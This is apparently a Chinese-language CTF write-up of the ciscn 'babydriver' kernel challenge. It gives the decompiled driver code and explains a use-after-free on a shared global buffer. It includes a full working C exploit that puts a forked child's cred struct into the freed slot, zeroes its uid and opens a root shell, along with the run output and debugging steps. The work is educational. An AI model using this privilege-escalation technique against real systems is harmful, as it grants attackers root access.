# ciscn_babydriver uaf, 修改自身的 cred
# 保护检查:
# qemu
1 2 3 4 5 dreamcat@ubuntu:~/Desktop/kernel/babydriver$ cat boot.sh qemu-system-x86_64 -initrd fs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 128M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep -s
没有开启地址随机化以及隔离保护
# 驱动文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #!/bin/sh mount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs devtmpfs /dev chown root:root flagchmod 400 flagexec 0</dev/consoleexec 1>/dev/consoleexec 2>/dev/consoleinsmod /lib/modules/4.4.72/babydriver.ko chmod 777 /dev/babydevecho -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" setsid cttyhack setuidgid 1000 sh umount /proc umount /sys poweroff -d 0 -f
在这里我们看到他的驱动的位置是在 /lib/modules/4.4.72/babydriver.ko
1 2 3 4 5 6 7 dreamcat@ubuntu:~/Desktop/kernel/babydriver/lib/modules/4.4.72$ checksec babydriver.ko [*] '/home/dreamcat/Desktop/kernel/babydriver/lib/modules/4.4.72/babydriver.ko' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x0)
# vmlinux
我们提取出来 vmlinux 后,extract-vmlinux bzImage > vmlinux
进行检查,发现保护什么也没有开。
1 2 3 4 5 6 7 8 9 dreamcat@ubuntu:~/Desktop/kernel/babydriver$ checksec vmlinux [*] '/home/dreamcat/Desktop/kernel/babydriver/vmlinux' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0xffffffff81000000) RWX: Has RWX segments
# 题目分析
这是一道堆题
# init
我们 open 设备的时候,会默认调用这个函数,这里初始化了一些参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 int __cdecl babydriver_init () { __int64 v0; int v1; __int64 v2; __int64 v3; int v4; class *v5 ; __int64 v6; __int64 v7; if ( (int )alloc_chrdev_region(&babydev_no, 0LL , 1LL , "babydev" ) >= 0 ) { cdev_init(&cdev_0, &fops); v2 = babydev_no; cdev_0.owner = &_this_module; v4 = cdev_add(&cdev_0, babydev_no, 1LL ); if ( v4 >= 0 ) { v5 = (class *)_class_create(&_this_module, "babydev" , &babydev_no); babydev_class = v5; if ( v5 ) { v7 = device_create(v5, 0LL , babydev_no, 0LL , "babydev" ); v1 = 0 ; if ( v7 ) return v1; printk(&unk_351, 0LL , 0LL ); class_destroy(babydev_class); } else { printk(&unk_33B, "babydev" , v6); } cdev_del(&cdev_0); } else { printk(&unk_327, v2, v3); } unregister_chrdev_region(babydev_no, 1LL ); return v4; } printk(&unk_309, 0LL , v0); return 1 ; }
# exit
同理,我们关闭设备的后会调用这个函数
1 2 3 4 5 6 7 void __cdecl babydriver_exit () { device_destroy(babydev_class, babydev_no); class_destroy(babydev_class); cdev_del(&cdev_0); unregister_chrdev_region(babydev_no, 1LL ); }
# babyopen
1 2 3 4 5 6 7 8 9 10 int __fastcall babyopen (inode *inode, file *filp) { __int64 v2; _fentry__(inode, filp); babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6 ], 37748928LL , 64LL ); babydev_struct.device_buf_len = 64LL ; printk("device open\n" , 37748928LL , v2); return 0 ; }
申请了一个 buf 空间,大小为 0x40
# babyrelease
1 2 3 4 5 6 7 8 9 int __fastcall babyrelease (inode *inode, file *filp) { __int64 v2; _fentry__(inode, filp); kfree(babydev_struct.device_buf); printk("device release\n" , filp, v2); return 0 ; }
# babyread
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ssize_t __fastcall babyread (file *filp, char *buffer, size_t length, loff_t *offset) { size_t v4; ssize_t result; ssize_t v6; _fentry__(filp, buffer); if ( !babydev_struct.device_buf ) return -1LL ; result = -2LL ; if ( babydev_struct.device_buf_len > v4 ) { v6 = v4; copy_to_user(buffer); result = v6; } return result; }
# babywrite
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ssize_t __fastcall babywrite (file *filp, const char *buffer, size_t length, loff_t *offset) { size_t v4; ssize_t result; ssize_t v6; _fentry__(filp, buffer); if ( !babydev_struct.device_buf ) return -1LL ; result = -2LL ; if ( babydev_struct.device_buf_len > v4 ) { v6 = v4; copy_from_user(); result = v6; } return result; }
# babyioctl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 __int64 __fastcall babyioctl (file *filp, unsigned int command, unsigned __int64 arg) { size_t v3; size_t v4; __int64 v5; __int64 result; _fentry__(filp, *(_QWORD *)&command); v4 = v3; if ( command == 65537 ) { kfree(babydev_struct.device_buf); babydev_struct.device_buf = (char *)_kmalloc(v4, 37748928LL ); babydev_struct.device_buf_len = v4; printk("alloc done\n" , 37748928LL , v5); result = 0LL ; } else { printk(&unk_2EB, v3, v3); result = -22LL ; } return result; }
babyioct,会释放原本的 buf,然后重新申请一个,但是不会对空间的数据进行初始化,导致数据的泄露。v4 是一个固定的大下,在 init 中初始化为我蛮传入的第三个参数。
# 漏洞利用
ioctl 存在一个条件竞争,使用同一个全局变量 buf,类似用户态下的 uaf。新的进程会覆盖这个变量,那么我们可以将它释放,然后重新申请出来作为新的东西,但是我们仍旧可对其进行编辑。新的进程会创建 cred, 所以就可以让他将这个空间申请出来,然后我们对其进行编辑。
# 完整的 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 #include <sys/types.h> #include <stdio.h> #include <linux/userfaultfd.h> #include <pthread.h> #include <errno.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <signal.h> #include <poll.h> #include <string.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <sys/sem.h> #include <semaphore.h> #include <poll.h> int main (int argc, char const **argv) { int fd1 = open("dev/babydev" ,O_RDWR); int fd2 = open("dev/babydev" ,O_RDWR); char buf[28 ] = {0 }; printf ("ppid %d, pid %d\n" ,getppid(),getpid()); ioctl(fd1,65537 ,0xa8 ); close(fd1); int fpid = fork(); printf ("fpid is %d\n" ,fpid); printf ("ppid %d, pid %d\n" ,getppid(),getpid()); if (!fpid) { printf ("ppid %d, pid %d\n" ,getppid(),getpid()); puts ("right" ); write(fd2,buf,28 ); if (getuid()==0 ) { puts ("welcome!\n" ); system("/bin/sh" ); return 0 ; } } else if (fpid<0 ){ puts ("error" ); } else { puts ("hello" ); wait(NULL ); } close(fd2); return 0 ; }
fork 会返回两个 id, 这也是 fork 的一个有意的东西,这里其实是一个类似递归的调用,当我们 fork 一个新的进程后,其申请出来的资源与我们的原本进程是几乎一样的,只有部分数据不一样。有一些师傅说,父进程与子进程的实行顺序是不一样的。但是我们预测大部分情况下使直接进入子进程,进入子进程后还会调用 fork,但是此时 fork 返回的是 0,也就是说不会再嵌套下去。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ./exp [ 3.998984] device open [ 3.999759] device open ppid 88, pid 90 [ 4.000779] alloc done [ 4.001334] device release fpid is 91 ppid 88, pid 90 hello fpid is 0 ppid 90, pid 91 ppid 90, pid 91 right welcome! / uid=0(root) gid=0(root) groups =1000(ctf) / / $ [ 104.213209] ACPI: Preparing to enter system sleep state S5
一些师傅说,父进程与子进程的执行顺序会受到不同系统决策的影响。
以我的设备为例。我们启动 exp 的进程,pid 为 90,他的父进程的 id 为 88,fork 出来的进程,返回的 id 为 91. 下面进入 fork 了吗?我们看到 pid,和 ppid 没有变,说明我们并没有进入到子进程,当我们的这部分结束后,有直接进入了 fork 里,子进程里又会调用 fork, 但是此时返回的是 0。
# 打包
1 2 3 4 5 mkdir File_systemcp rootfs.cpio ./File_system/rootfs.cpio.gzcd File_systemgunzip rootfs.cpio.gz cpio -idmv < rootfs.cpio
上面是对文件系统的解包处理,下面的 pack.sh 会将我们写好的 exp 写入,后面启动的时候,我们可以把 pack.sh 写入 boot.sh
1 2 3 4 5 6 pack.sh cd File_systemgcc exploit.c -static -o exp find . | cpio -o --format=newc > ../rootfs.cpio cd ../
# 调试
我们再启动的脚本里面,对 quem_system_x86_64 启用了人 - s,也就是说我们打开了一个默认的端口。我们也可以指定端口。
提取 vmlinux,需要使用 extract-vmlinux 脚本提取出带符号的源码
1 ./extract-vmlinux ./bzImage > vmlinux
启动 gdb
1 2 gdb ./vmlinux -q 导入符号表,这里需要查看模块加载在内存中的真实地址,用boot.sh脚本运行之后输入命令lsmod即可
1 2 / $ lsmod babydriver 16384 0 - Live 0xffffffffc0000000 (OE)
然后在 gdb 中输入
1 add-symbol-file **/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000
两个参数分别为 babydriver.ko 在解包后的文件系统中的路径以及.text 段的地址。地址可以直接在 qemu 中查看:
添加远程执行参数,在 boot.sh 的 qemu 参数中添加
gdb 连接程序,在 gdb 中执行命令
1 target remote 127.0 .0 .1 :7777
# 相关的结构体
# cred
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 struct cred { atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; void *put_addr; unsigned magic; #define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; kgid_t gid; kuid_t suid; kgid_t sgid; kuid_t euid; kgid_t egid; kuid_t fsuid; kgid_t fsgid; unsigned securebits; kernel_cap_t cap_inheritable; kernel_cap_t cap_permitted; kernel_cap_t cap_effective; kernel_cap_t cap_bset; kernel_cap_t cap_ambient; #ifdef CONFIG_KEYS unsigned char jit_keyring; struct key __rcu *session_keyring ; struct key *process_keyring ; struct key *thread_keyring ; struct key *request_key_auth ; #endif #ifdef CONFIG_SECURITY void *security; #endif struct user_struct *user ; struct user_namespace *user_ns ; struct group_info *group_info ; struct rcu_head rcu ; };
# 参考链接
https://blog.csdn.net/m0_38100569/article/details/100673103
https://www.z1r0.top/2021/10/29/kernel-pwn(二)基础知识 /# 实战
# 参考博客
https://www.z1r0.top/
https://arttnba3.cn/
https://ray-cp.github.io/category/ //ray 大佬写的很多知识的总结,很详尽